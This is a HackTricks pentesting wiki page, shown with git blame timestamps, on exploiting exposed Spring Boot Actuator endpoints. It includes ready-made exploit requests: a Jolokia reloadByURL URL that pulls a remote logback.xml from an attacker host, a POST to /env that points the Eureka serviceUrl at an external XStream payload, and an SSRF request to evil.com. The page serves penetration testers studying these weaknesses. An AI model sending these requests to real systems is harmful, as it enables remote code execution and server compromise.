hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

92 lines
5.6 KiB
Markdown
Raw Permalink Normal View History

2022-10-10 09:20:50 +00:00
# Spring Actuators
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
<summary>Support HackTricks</summary>
2023-12-31 01:24:39 +00:00
2024-07-19 09:08:05 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-19 09:08:05 +00:00
{% endhint %}
{% endhint %}
2022-04-28 16:01:33 +00:00
2023-03-02 18:08:43 +00:00
## **Spring Auth Bypass**
2024-05-05 17:56:05 +00:00
<figure><img src="../../.gitbook/assets/image (927).png" alt=""><figcaption></figcaption></figure>
2023-03-02 18:08:43 +00:00
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
2020-10-15 10:27:50 +00:00
2022-10-10 09:20:50 +00:00
## Exploiting Spring Boot Actuators
2020-10-15 10:27:50 +00:00
2024-04-06 16:25:58 +00:00
**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
2023-03-02 18:08:43 +00:00
2024-02-04 16:10:29 +00:00
### **Key Points:**
2020-10-15 10:27:50 +00:00
2024-04-06 16:25:58 +00:00
* Spring Boot Actuators register endpoints such as `/health`, `/trace`, `/beans`, `/env`, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only `/health` and `/info` are non-sensitive by default, but developers often disable this security.
* Certain Actuator endpoints can expose sensitive data or allow harmful actions:
* `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
* In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the `/actuator/` base path.
2020-10-15 10:27:50 +00:00
2024-02-04 16:10:29 +00:00
### **Exploitation Techniques:**
2020-10-15 10:27:50 +00:00
2024-02-04 16:10:29 +00:00
1. **Remote Code Execution via '/jolokia'**:
2024-04-06 16:25:58 +00:00
* The `/jolokia` actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
* The `reloadByURL` action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
* Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2024-02-04 16:10:29 +00:00
2. **Config Modification via '/env'**:
2024-04-06 16:25:58 +00:00
* If Spring Cloud Libraries are present, the `/env` endpoint allows modification of environmental properties.
* Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.
* Example exploit POST request:
```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
2024-02-04 16:10:29 +00:00
3. **Other Useful Settings**:
2024-04-06 16:25:58 +00:00
* Properties like `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, and `spring.datasource.tomcat.max-active` can be manipulated for various exploits, such as SQL injection or altering database connection strings.
2020-10-15 10:27:50 +00:00
2024-02-04 16:10:29 +00:00
### **Additional Information:**
2020-10-15 10:27:50 +00:00
2024-04-06 16:25:58 +00:00
* A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
* The `/env` endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same.
2020-10-15 10:27:50 +00:00
2024-02-04 16:10:29 +00:00
### **Related Topics:**
2020-10-15 10:27:50 +00:00
2024-02-04 16:10:29 +00:00
1. **Env + H2 RCE**:
2024-04-06 16:25:58 +00:00
* Details on exploiting the combination of `/env` endpoint and H2 database can be found [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
2024-02-04 16:10:29 +00:00
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
2024-04-06 16:25:58 +00:00
* The Spring framework's handling of matrix parameters (`;`) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF).
* Example exploit request:
2020-10-15 10:27:50 +00:00
2024-04-06 16:25:58 +00:00
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
2024-07-19 09:08:05 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2024-07-19 09:08:05 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-19 09:08:05 +00:00
{% endhint %}
</details>
{% endhint %}